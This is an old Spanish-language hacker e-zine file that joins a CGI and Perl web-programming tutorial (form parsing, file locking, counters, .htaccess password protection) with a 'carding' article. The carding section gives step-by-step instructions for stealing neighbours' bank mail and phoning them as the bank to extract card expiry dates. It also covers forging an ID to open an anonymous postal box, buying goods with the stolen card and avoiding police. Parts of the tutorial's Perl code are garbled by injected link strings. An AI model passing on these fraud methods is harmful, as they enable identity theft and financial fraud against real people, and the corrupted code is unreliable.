ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³# ReadParse ³
³# Lee datos env¡ados con POST o GET, los convierte a texto simple,y pone ³
³# un campo=valor en cada componente de la lista "@in" ³
³# Tambi‚n crea pares de campo/valores en %in, usando '{jumi [*3] [http://www.govannom.org/e-zines/raregazz/rare011.txt]}' para separar ³
³# selecciones m£ltiples ³
³ ³
³sub ReadParse { ³
³ # Definici¢n de las variables a utilizar. ³
³ local (*in) = @_ if @_; ³
³ local ($i, $loc, $key, $val); ³
³ ³
³ # De acuerdo al m‚todo de env¡o almacena en la variable $in el texto. ³
³ if ($ENV{'REQUEST_METHOD'} eq "GET") { ³
³ $in = $ENV{'QUERY_STRING'}; ³
³ } elsif ($ENV{'REQUEST_METHOD'} eq "POST") { ³
³ read(STDIN,$in,$ENV{'CONTENT_LENGTH'}); ³
³ } ³
³ ³
³ @in = split(/&/,$in); #separa en un array los contenidos de $in que se³
³ encuentran separados por "&" ³
³ ³
³ foreach $i (0 .. $#in) { ³
³ #Convierte los "+" en espacios. ³
³ $in[$i] =~ s/\+/ /g; ³
³ ³
³ # Separa el campo y su contenido . ³
³ ($key, $val) = split(/=/,$in[$i],2); # corta en el primer =. ³
³ ³
³ # Convierte %XX de n£meros hexadecimales a alfan£mericos. ³
³ $key =~ s/%(..)/pack("c",hex(jumi))/ge; ³
³ $val =~ s/%(..)/pack("c",hex(jumi))/ge; ³
³ ³
³ # Asocia cada campo con su valor. ³
³ # usando {jumi [*3] [http://www.govannom.org/e-zines/raregazz/rare011.txt]} como separador de elementos m£ltiples(checkbox por ej) ³
³ $in{$key} .= "{jumi [*3] [http://www.govannom.org/e-zines/raregazz/rare011.txt]}" if (defined($in{$key})); ³
³ $in{$key} .= $val; ³
³ ³
³ } ³
³ return 1; ³
³} ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Esta no es la £nica librer¡a que existe para manejar CGI bajo Perl , pero
s¡ la m s utilizada. Seg£n el autor nuevas versiones incorporar n m s
facilidades, tales como file uploading y otras.
Locking de archivos.
En la segunda parte de este documento plante‚ el hecho problem tico de que dos
usuarios pretendan acceder al mismo tiempo a un mismo archivo, como es el caso
del mini-guestbook.
En Unix tenemos recursos que nos permiten realizar este tipo de bloqueos con
una llamada al sistema, pero bajo otros sistemas (y para mantener la "transpor
tabilidad" de nuestros scripts, veremos una t‚cnica muy simple que puede ser
implementada en cualquier plataforma y que puede ser utilizada sin problemas.
Cuando dos usuarios quieren leer/escribir un mismo archivo (en realidad los
scripts llamados por ellos) se produce un conflicto, el de saber quien tiene
la prioridad al hacerlo. Una manera de resolver este conflicto es crear un
archivo "lock" cuya sola presencia nos indique que el archivo esta siendo
accedido en ese momento.
As¡ cuando nuestro script pretenda leer/escribir el archivo, primero consultar
la existencia del "lock", si existe esperar un segundo y volver a intentar
y en caso de que no exista lo crear y proceder a la consulta.
Un ejemplo comentado en Perl nos mostrar esta t‚cnica:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³$salir = 'no'; ³
³ while ($salir != 'si') { ³
³ if (-e "/mini-gb.lock") { ³
³ # Si el archivo existe, esperamos 1 segundo. ³
³ sleep(1); ³
³ } ³
³ else { ³
³ # Al no existir el archivo, lo creamos y empezamos el proceso.³
³ open(LOCK,">/mini-gb.lock"); ³
³ close LOCK; ³
³ . . . . . . . . .Proceso de nuestro script. . . . . . . . . ³
³ ³
³ # Destrabamos el archivo (lo eliminamos) ³
³ unlink("/guestlock"); ³
³ ³
³ #Salimos de nuestra rutina ³
³ $salir = si; ³
³ } ³
³ } ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Scripts avanzados.
A partir de este punto analizaremos en detalle los requisitos para el manejo
de documentos din micos, profundizando en el conocimiento de la forma de
trabajo del protocolo HTTP y los mensajes MIME.
Documentos Din micos
Para introducirnos en el tema de los documentos din micos nos basaremos en una
aplicaci¢n pr ctica, la animaci¢n, es decir imagenes en movimiento sin dejar
de lado el hecho de que esta £ltima es s¢lo una de las m£ltiples posibilidades
que nos brinda el manejo din mico de la informaci¢n.
Actualmente existen tres m‚todos (si incluimos el gif multipart) para poder
manejar informaci¢n din micamente, en orden de eficiencia estos son;
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Client Pull ³
³El server env¡a un "stream" de informaci¢n, incluyendo una directiva (en la ³
³respuesta HTTP) que dice "vuelva a cargar estos datos en 5 segundos" o "vaya³
³y cargue esta URL en 10 segundos". Desp£es de que se cumple el tiempo especi³
³ficado, el browser hace lo que se le indic¢, o sea recargar la p gina actual³
³o conseguir una nueva p gina. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Server Push ³
³El server env¡a un "stream" de informaci¢n y el browser la muestra, pero ³
³sigue manteniendo la conexi¢n abierta; cuando el server lo requiera, puede ³
³continuar enviando m s informaci¢n para que el browser la muestre, y as¡ ³
³sucesivamente.. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Gif multipart ³
³Se trata del m‚todo m s avanzado (lo vieron en WebTV?) que utiliza un nuevo ³
³formato de imagen GIF en donde se incluyen m£ltiples cuadros separados por ³
³comandos de animaci¢n, los cuales pueden ser vistos con el browser de ³
³Netscape partir de la versi¢n 2.0 ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Analicemos en detalle cada uno de los m‚todos.
Client Pull
Para muestra basta un bot¢n, as¡ que de entrada prueben el siguiente c¢digo;
Primera p gina
HOLA!
Una demostracion de documentos dinamicos
Y?? Qu‚ pas¢?, por el bien de este tutorial espero que el documento haya sido
recargado por el browser al pasar un segundo.
Esto lo logramos al agregar el tag "META" (el cual permite simular respuestas
HTTP en p ginas HTML) que le dice al browser que el server le est enviando
un header con la indicaci¢n "Refresh: 1".
Cambiando el valor, cambiamos el tiempo de retardo obviamente.
Observemos que cada directiva "Refresh" es £nica y por tanto la p gina NO ser
refrescada cada un segundo eternamente, sino una £nica vez y que al tratarse
de una respuesta HTTP (simulada) la misma debe figurar al comienzo de nuestra
p gina.
Otra cosa que podemos lograr con este tag es cargar otro URL luego de una
determinada cantidad de tiempo. La sintaxis es la siguiente:
; ³
³ close(GIF); ³
³ print "\n--separador\n"; ³
³ } ³
³ } ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Lo £nico que me quedar¡a por aclarar es que ya que el tipo "x-mixed/replace"
fu‚ definido por Netscape, solamente funcionar con su browser versi¢n 1.1 y
posteriores.
GIF multipart.
En este caso no tendremos que programar nada y es por lejos la forma m s simple
de armar una animaci¢n, aunque mantiene la desventaja de ser visualizados
£nicamente por el Netscape 2.0 en adelante.
En definitiva se trata de ampliar las posibilidades del formato GIF89A (aquel
que nos permite utilizar backgrounds transparentes).
Los archivos .GIF tienen al comienzo un "header" que indica su tama¤o y otros
datos, con programas como el Gif Construction Set ampliaremos este header e
inclu¡remos l¡neas con la secuencia de im genes y comandos de control.
El header de una animaci¢n simple quedar¡a de la siguiente manera:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ HEADERGIF89AScreen(320x200) ³
³ LOOP ³
³ CONTROL ³
³ IMAGE320x200,256colours ³
³ CONTROL ³
³ IMAGE320x200,256colours ³
³ CONTROL ³
³ IMAGE320x200,256colours ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Ya que el Gif Construction Set trae un help bastante completo y es sencillo
de usar no quisiera extenderme m s en el tema.
Sugerencia: Leer con el GifCon los .GIF que trae de ejemplo.
Si nos decidimos por utilizar este m‚todo tengamos en cuenta lo siguiente.
La mayor¡a de los browsers (descartando Netscape 2.0) mostrar n £nicamente el
primer cuadro de la animaci¢n y algunos pocos s¢lo el £ltimo.
De manera que si queremos que tratar de que la animaci¢n luzca bien en
cualquier browser, la soluci¢n m s simple es hacer que el primer cuadro sea
el m s presentable (nada de logos al rev‚s;) y que el £ltimo sea igual al
primero.
Counters.
Implementar un "counter" no es una tarea muy d¡ficil. B sicamente se graba en
un archivo el valor del contador, y cada vez que se hace un nuevo acceso a la
p gina controlada se lee este archivo, se incrementa en uno el valor le¡do y
se vuelve a grabar. Veremos un fragmento de script que hace esta tarea.
Por otro lado no quer¡a dejar de comentar que existen scripts m s complicados
que pueden generar una salida en la forma de un archivo .GIF. Estos scripts lo
que hacen es leer el valor a representar, "pegan" en una misma imagen los
d¡gitos que componen dicho n£mero y la env¡an.
Si seguimos avanzando tambi‚n encontraremos scripts que pueden controlar m s
de una p gina, ya que trabajan en base a un archivo ¡ndice que almacena el
valor de los contadores para cada p gina en particular.
A los fines de este tutorial el ejemplo presentado es lo suficientemente
entendible como para poder implementarlo y practicar sin mucho trabajo.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ #!/usr/local/bin/perl ³
³ ³
³ open(CONTADOR,"$counter.dat") || die "Error al abrir el archivo: $!\n"; ³
³ $contador = ; ³
³ close(CONTADOR); ³
³ if ($contador =~ /\n$/) { ³
³ chop($contador); ³
³ } ³
³ ³
³ $contador++; ³
³ ³
³ print "Bla,bla,bla.. " ³
³ ³
³ open(CONTADOR,">$counter.dat") || die "Error al cerrar el archivo: $!\n";³
³ print CONTADOR "$contador"; ³
³ close(CONTADOR); ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
P ginas Web con protecci¢n por password.
Para no dejar de lado el tema de la seguridad abordaremos el uso de passwords
en el acceso a un servidor Web.
Necesitaremos nuevamente tener algunos conocimientos previos, en este caso del
manejo de archivos UNIX.
Si utilizamos otro tipo de plataforma para correr el Web Server, como Windows
NT, tendremos este tema solucionado con una muy sencilla configuraci¢n a trav‚s
del uso de men£es (por lo menos con el Website).
Lo principal para aclarar antes de comenzar es que cuando utilizamos este
sistema (seg£n su mecanica interna) restringimos el acceso a un directorio,
no a una p gina en particular.
El m‚todo se basa principalmente en poner en cada directorio a proteger un
archivo de nombre ".htaccess" que contiene los par metros de configuraci¢n de
la protecci¢n implementada y el nombre del archivo que contiene las passwords
que normalmente es el ".htpasswd".
Y se acab¢ el misterio. Eso es todo. Cuando se le solicita al server una
p gina que tiene en su mismo directorio un ".htaccess", ‚ste se encarga de
enviar los c¢digos HTTP necesarios para que el browser levante la ventanita de
autentificaci¢n.
Para explotar este recurso completamente pasaremos a analizar en detalle los
par metros que pueden ser utilizados en el ".htaccess" y la forma en que
podemos mantener actualizado el ".htpasswd" .
El archivo ".htaccess".
Este archivo debe estar ubicado en el directorio que se desea proteger y dicha
protecci¢n afectar a todos los subdirectorios del mismo, a menos que posean
sus propios archivos ".htaccess".
Dado que se trata de un archivo de texto com£n podremos actualizarlo con
cualquier editor del que dispongamos.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ AutUserFile .htpasswd ³
³ AuthGroupFile /dev/null ³
³ AuthName Ingrese su user ID y su password. ³
³ AuthType Basic ³
³ ³
³ ³
³ require user usuario1 usuario2 usuario3 ..... ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Descripci¢n de los Par metros.
AutUserFile: es el nombre del archivo que contiene los nombres de los
usuarios (users ID) y sus respectivas passwords. Este archivo debe estar
ubicado en el mismo directorio que ".htaccess" pero puede llevar cualquier
nombre. Por convenci¢n le daremos el nombre de ".htpasswd" .
AuthGroupFile: Este es el nombre del archivo de grupo. Podemos setear
grupos de usuarios para que tengan acceso a un directorio, en el caso del
ejemplo no tenemos un archivos de estos armado, por lo que direccionamos
a null que significa que no existe ning£n archivo de grupos.
AuthName: Es el string que aparecer en la ventanita que levanta el browser,
cuando se le pregunte al usuario su ID y su password.
AuthType: es la clase de seguridad que implementamos. "Basic" significa
Autentificaci¢n B sica HTTP, es decir que la informaci¢n enviada a trav‚s de
la red NO ser encriptada sino que ser "uuencodeada" (uuencoded), lo cual
nos da un nivel de protecci¢n similar al de una sesi¢n de telnet.
Existen otro m‚todos adem s de ‚ste tales como PEM, PGP, Kerberos V5 y Digest.
En el ejemplo que vimos solamente el m‚todo GET est restringido usando la
directiva . Para limitar otras m‚todos (particularmente en los
directorios CGI-BIN) se puede especificar los mismos separados por espacios
dentro de la directiva LIMIT. Por ejemplo:
require user usuario1 usuario2 usuario3 .....
El comando "require" le dice al server cuales son los usuarios que est n
autorizados en ese directorio. Este comando puede tomar dos formas, "require
user" para limitar el acceso seg£n usuarios o bien "require group" para
limitar el acceso seg£n grupos de usuarios.
Existen otros comandos que pueden ser implementados en este nivel, como
"allow" y "deny" que permiten otorgar o denegar (respectivamente) el acceso
a un dominio en particular.
order deny,allow
deny from all
allow from .mecon.ar
Restringiedo el acceso a los documentos de ese directorio a aquellas m quinas
que se encuentren en el dominio .mecon.ar y excluyendo a las restantes.
Cabe destacar que los ID utilizados son completamente arbitrarios (es decir no
tienen relaci¢n con los usuarios del server).
El archivo .htpasswd .
Este archivo consiste en una lista de los user ID y sus password encriptadas,
es un archivo de texto com£n por lo que puede ser movido, copiado o borrado
como cualquier otro.
Por ejemplo:
pedro:WkSK1DE7N8.9.
pablo:hQty39EV1.g56
diego:JeB31vf9PSTgw
susana:EDRfRrfrw43q
Como no podemos crear una password encriptada "a mano" usaremos una herramienta
llamada htpasswd que permite construir este tipo de archivos.
Esta herramienta se usa de la siguiente manera:
Server> htpasswd -c .htpasswd USUARIO
Adding password for USUARIO
New password:********
Re-type new password: *******
Si queremos modificar la password de USUARIO en otro momento usamos la misma
sintaxis. Para eliminar usuarios simplemente se borra la l¡nea correspondiente
dentro del archivo.
Proteccion a nivel de grupo
Cuando tenemos un gran n£mero de usuarios que mantener podemos facilitar el
manejo de los mismos separ ndolos en "grupos" creando un archivo de nombre
".htgroup" (por convenci¢n) con el siguiente formato:
nombregrupo1: primeruser segundouser .... £ltimouser
nombregrupo2: primeruser segundouser .... £ltimouser
nombregrupo3: primeruser segundouser .... £ltimouser
y debemos cambiar el require por un "require group nombregrupo ".
Final del tutorial (por ahora).
Con el tema de las "passwords" damos por terminada la tercera parte de este
documento, lo que sigue es un ap‚ndice con links que me fueron bastante £tiles
al momento armarlo, la bibliograf¡a utilizada y algo de vocabulario.
Terminar esta tercera parte fu‚ algo m s que un triunfo, (pensar que hab¡a
planeado tenerla lista para fines de marzo:), cada vez que agarraba el doc
surg¡a un tema nuevo, y as¡.
Releyendo las otras partes me doy cuenta que faltan algunos ¡tems (oh no..m s
laburo :P) o que por lo menos est n un poco incompletos, paciencia en cuanto
pueda sale una nueva versi¢n corregida y aumentada.
Lo pr¢ximo que tengo en mente en cuanto a tutorials estar basado en el uso de
frames y JavaScript en p ginas HTML, una tecnolog¡a interesante pero no madura
del todo en este momento, as¡ como tambi‚n una mini-introducci¢n al lenguaje
Perl, de manera que en algunos meses m s empezar‚ por ese lado.
A prop¢sito, ustedes notar n que desde que empez¢ esto del tutorial mis
preferencias program ticas han ido cambiando a lo largo del tiempo.
Estos cambios tienen su fundamento; Perl es portable, es f cil de usar y de
aprender, es freeware y adem s es interpretado de manera que el ciclo edici¢n/
testeo se hace mucho m s corto.
Escribir este tutorial fu‚ una tarea bastante grata, aprend¡ much¡simo tratan
do de explicar algunos conceptos,y como siempre para hacer de esta una tarea
completa espero sus comentarios (de los buenos y de los otros ;), en mi email:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
,los cuales ser n de gran ayuda en mis proyectos futuros.
Suerte y buenos scripts!
(frase afanada de alg£n lado)
Sebass.
Pr¢ximos Desarrollos.
El protocolo HTTP y HTTP-NG.
Meta Tags y su uso ( y abuso).
CGI scripts en otros lenguajes (Visual Basic por ejemplo)
HTML/CGI como front/end de nuestros programas.
Introduccion a Java y JavaScript.
Introduccion a Perl y aplicaciones CGI.
PD: Parece que no puedo dejar de escribir, no quer¡a dejar de comentar que las
versiones HTML y Word del tutorial estar n disponibles en breve.
--
APENDICE: Librer¡as para la Programaci¢n de scripts CGI.
Estos son los URL de las librer¡as utilizadas en los ejemplos de este documento.
Librer¡a C ÄÄÄÄ> UnCGI ÄÄÄÄ> http://www.hyperion.com/~koreth/uncgi.html
Librer¡a Pascal ÄÄÄÄ> TPWCGI ÄÄÄÄ> http://141.2.61.48/tpwcgi/tpwcgi.htm
Librer¡a Perl ÄÄÄÄ> CGI-LIB.PL ÄÄÄÄ> http://www.bio.cam.ac.uk/cgi-lin/1.14/cgi-lib.pl.txt
Sites con informaci¢n acerca de CGI.
Estos sites contienen mucha de la informaci¢n que fu‚ utilizada para crear
este documento y son realmente muy interesantes.
http://shani.net:80/~tls/guide/index.html
http://www.stars.com/Vlib/Providers/CGI.html
http://super.sonic.net/ann/delphi/cgicomp/detail.html
http://www.city.net/win-httpd/httpddoc/wincgi.htm
http://www.aspectse.com/Product/dbWeb/dbWeb.html
http://128.172.69.106:8080/cgi-bin/cgis.html
http://users.aol.com/thingtone/workshop/index.htm
Vocabulario - Siglas.
URL: Universal Resource Locator
Una nomenclatura que describe en forma compacta la ubicaci¢n de cada
recurso en la Internet y el protocolo utilizado para acceder al mismo.
MIME: Multipurpose Internet Mail Extensions
Una nomenclatura que permite identificar correctamente el tipo de
datos que se esta enviando a trav‚s de una conexi¢n.
HTML: HyperText Markup Languaje
Un lenguaje para el "armado" de documentos de hypertexto incluyendo
"links" y algunas otras carater¡sticas adicionales.
CGI: Common Gateway Interface
Un mecanismo que permite a los browser de Web ejecutar programas en el
server Web y recibir la "salida" de estos programas.
HTTP: HyperText Transport Protocol
Un protocolo para la transferencia de documentos de hypertexto y otro
tipo de archivos.
VRML:Virtual Reality Modeling Languaje
Un lenguaje que mediante "modelos" permite generar visiones 3D de un
universo con "links" y otras caracter¡sticas adicionales.
Bibliograf¡a.
An exploration of Dynamic Documents - Netscape Corporation.
Very Limited Guide to HTML - Kevin Werbach.
CGI tutor - Bex Lanner.
HTML-based Interfaces - Nik Swoboda.
CGI Tutorial - Agora.
An guide to HTML and CGI scripts - Mike Smith.
Mosaic User Authentication Tutorial - NCSA.
Web Page Password Protecion - CNC.
FIN DEL TUTORIAL
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ 01/05/96
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³Sebasti n Quiroga.
ºEste documento puede ser reproducido en su º ³
ºtotalidad o en parte siempre que se conserveº ³Email:
ºesta postdata o bien se haga clara menci¢n º ³
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
ºde la fuente. º ³
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Versi¢n: 1.00³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
Aqui tienes algo de carding, aunque no te recomiendo que lo pongas en
practica si no quieres acabar en la carcel ...
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
4 - CARDING
~~~~~~~~~~~
CARDING - CARDING - CARDING - CARDING - CARDING
++++++++++++++++++++++++++++++++++++++++++++++++
by SlimeLORD
eclipse GROUP
Que mejor que poder acceder a cualquier sitio,
o por ejemplo, no se te ha ocurrido nunca?
El poder comprar GRATIS por Internet, para ello,
debes conseguir lo siguiente:
* Una carta del banco, de cualquier persona (que sea extracto de cuenta)
* O bien un resguardo de esos que tiran al lado de los
cajeros automaticos.
* Un generador de numeros de tarjetas de credito
* Un poco de perspicacia
* Un apartado postal creado a partir de un carnet falso
PRIMERO.
++++++++
Bien, ¨no sabes como conseguir cartas del banco? No vives en un piso?
Umm nunca has mirado los buzones de tus vecinos?
Pues ya es HORA! Busca bien sobre todo cartas de bancos, ARGENTARIA,
BBV, CENTRAL-HISPANO, RURAL...
Bien, una vez tengas uno, suelen salir los extractos sobre finales
de mes, ya sea el 22, 23, 24, de ese mes, tenlo en CUENTA, y sobre
todo cuando lo deja el cartero, luego APROVECHA que no te pille nadie
y SAQUEA el correo .
ADVERTENCIA: Robar el CORREO ES DELITO!
Bien, ahora si la carta es correcta, obtendras los datos de tu vecino
y mira el saldo que le queda: Guau! una peque¤a fortuna, a que si?
jeje,
Debes obtener los siguientes datos:
PROPIETARIO/A DE LA CUENTA,
ENTIDAD ( 4 cifras)
OFICINA ( 4 cifras)
D.C ( 2 cifras)
CUENTA (10 cifras)
En total un numerito de 20 cifras, ok?
Bueno, pues AHI tienes la cuenta, pero SORPRESA de su extracto he
conseguido su numero de tarjeta de credito, UFF!!
CHAVAL espera!!!!!!!!
SEGUNDO.
++++++++
suelen tener este aspecto los extractos de tarjetas de credito:
F.OPER. CONCEPTO F.VALOR CARGOS ABONOS
14-01 SALDO ANTERIOR 210.000
14-01 CUOTA TARJETA 9-01
TARJETA XXXX XXXX XXXX XXXX 13-01 750.000
14-01 OPERATORIA EN CAJEROS SERVIRED
XXXX XXXX XXXX XXXX YYYY YYYY YYY 19-01
19-01 RETIRADA EFECTIVO CAJERO BBV
XXXX XXXX XXXX XXXX YYYY YYYY YYY 22-01
Gueno, pos la tarjeta la teneis dada, ahora solo queda
chequearla en vuestro CHEQUEADOR DE TARJETAS DE CREDITO, valen
la THC-CARD, CCARD CREATOR... y demas. A partir de esa puedes
generar tarjetas aleatorias, jeje te serviran para siguientes actos!
Si es asi, BIEN, puedes usar la tarjeta para hacer compras por
INTERNET, pero..ummm, COMO CO¥O? ( umm, come lo que quieras..) X'DDD
SEGUNDO.b
+++++++++
Este articulo tenia 4 pasos pero la creciente demanda de direcciones
y paginas WEB que hacen seguras sus transacciones a traves de servidores
chequeadores de tarjetas, me he tenido obligado a retocar el articulo
(version beta 0.1.2) xDDDDDDDD Bueno, todos habreis usado cualquiera
de los miles de generadores de tarjetas que hay disponibles no?
Bien pero ERROR, ya no se las traga, :( Bueno hay OTRA solucion,
O bien creo hay una pagina HACK donde instantaneamente al ponerle
un numero de VISA p.ej te genera la fecha de caducidad y se la traga
la WEB9000 (si saben la dire avisenme)... O bien se puede hacer
el viejho trukhoh! del almendrukhoh (esto es con asento americanou)...xDDD
Al pillar la carta de tu vecino/a pues sabes la direccion de donde
es ella, y si pillaste su numero de tarjeta puedes usar tu ingenieria
social, para a) conseguir su numero de telefono, como?
llamala por el porterillo y dile que eres de la revision del gas, p.ej
y que si es ella la se;ora tal ... que si me podria dar su numero de
telefono, mas facil es llamar al 003 y que te digan su numero....
Bien empapate de los datos suyos bancarios y hazle una llamada sobre
las 11.00 de la ma;ana, ponle voz de convencido sino no funciona...
Y dile, TU: "muy buenos dias, mire le llamo desde el banco XXXXX
y resulta que estoy comprobando unos datos.... Vd es la se;ora XXXXX
no? Tiene ahi su numero de tarjeta VISA???"
a esperar un momentito... no te rias....
Bien, el titular es XXXXX (dato que ya tenias...) y el numero es XXXXX
y se lo sueltas, " te respondera que si, ahora dile que la fecha
de caducidad se la han cambiado, y preguntale que cual era la
que tenia IMPRESA.... Y et BoILA! Ya tienes numerito y hasta con
fecha de caducidad....
Dile que gracias por corregir los datos y buenos dias...."
OK, ahora grita de contento!!!!
GASTATE TODO EL DINERAL DE TU VECINO!!!!!!!!!!!
jajajaja.
(ej. en bonos de internet de telefono, net2phone.... playboys...
teletienda... ui madre miaaaaaaaaaaa ....)
TERCERO
++++++++
Bien, habras visto muchas cosas para comprar por INTERNET, teletienda,
internet-shop, y demas...
Busca tan siquiera en el OLE, tiendas, o teletiendas...
Veras como salen a porrillo... Sobre todo que sean ESPA¥OLAS, o las
de la tele mismamente, esos 903 o 906 YO KE SE!
Bien, tienes una localizada, no?
OK, vamos a comprar.
HAY QUE SABER COMPRAR.
Por ejemplo, que comprariais?
Una butifarra? Un champu antipiojos?
:?¨ NO HOMBRE KE MAL GUSTO TIENES!
Una consola? Un componente nuevo para tu PC?
Ok eso siempre!!! FALE! Ahora te pediran los datos y OJOR!!!!
JARLH!! te pide la direccion donde mandarlo, umm! esto tiene truco
NUNCA DEIS NINGUN DATO VUESTRO REAL!! OK?
FALE, para recibir el "regalito" create un APARTADO POSTAL ANONIMO.
Umm , como? Vale, hazte un escaneo de tu DNI, le cambias la foto un
poquito, date cuenta que bien puede ser la de un colega tuyo de 14 tacos.
X'DDDDDDDD
OJO: ADVERTECIA: POSEER UN DNI FALSO ES DELITO PENADO POR LEY!
RECOMENDADO HACERTE CON UN DNI DE LOS ANTIGUOS; ESOS NO TIENEN
RELIEVE EN EL DNI, Y DA MAS EL PEGO...( cambiale la caducidad! )
Que se parezca vagamente a ti, OK, luego se la pegas en la que
has imprimido, te sugiero la hagas con una impresora a COLOR, tipo
EPSON 800 o similar, a 600 ppp, or better a 1400! Bien, ahora
la llevas a cualquier fotocopiadora y que te la plastifiquen. OKIZ?
Hazlo lo mejor posible, aunque seas un MANOTAS seguro lo consigues.
OK! Bien, ahora sacale una fotocopia que es lo que te pediran en
CORREOS para sacartelo... pagan las 3000 pelas, et voila!
Apartadillo para ti solo!
Ahora ya puedes pedir que te manden el regalito a ese apartadillo
postal a nombre del DNI falso que tas currao!
Bien, no abuses de este metodo, pues AVISO: si es una ciudad grande
tipo MADRID , BARCELONA, no deberiais tener problemas, pero si es
un pueblecito, mejor NO hacerlo, pues OS CONOCEN!
Bien, una vez lo hayas pedido, date cuenta que tardara sobre unos
4-5 dias, segun la rapidez del transporte, BIEN!, vete bien temprano
el dia que creas que ha llegado y saca tu paquete, si te dejan una
nota diciendo que vayas a otro sitio a recojerlo, umm, suena RARO,
mejor no vayas! Tambien , mejor hecha un vistacillo alrededor
a ver si ves algo raro, gente esperando, mirando a las enrtadas,
umm, esto es muy importante, ya que pueden ser de la secreta...
Vale, pide cositas importantes, pero a la vez peque¤as,
como por ejemplo tarjetas graficas 3D, consolas, grabadoras...
cosas peque¤as y de valor... discos duros...
Bien,
Otro consejito:
No uses el apartado para lo mismo tres o 4 veces, te podrian cazar,
y recuerda, ves a recojer tu paquete o BIEN cuando creas que ha
o debe de llegar, o bien pasate al mes siguiente, seguro que nadie
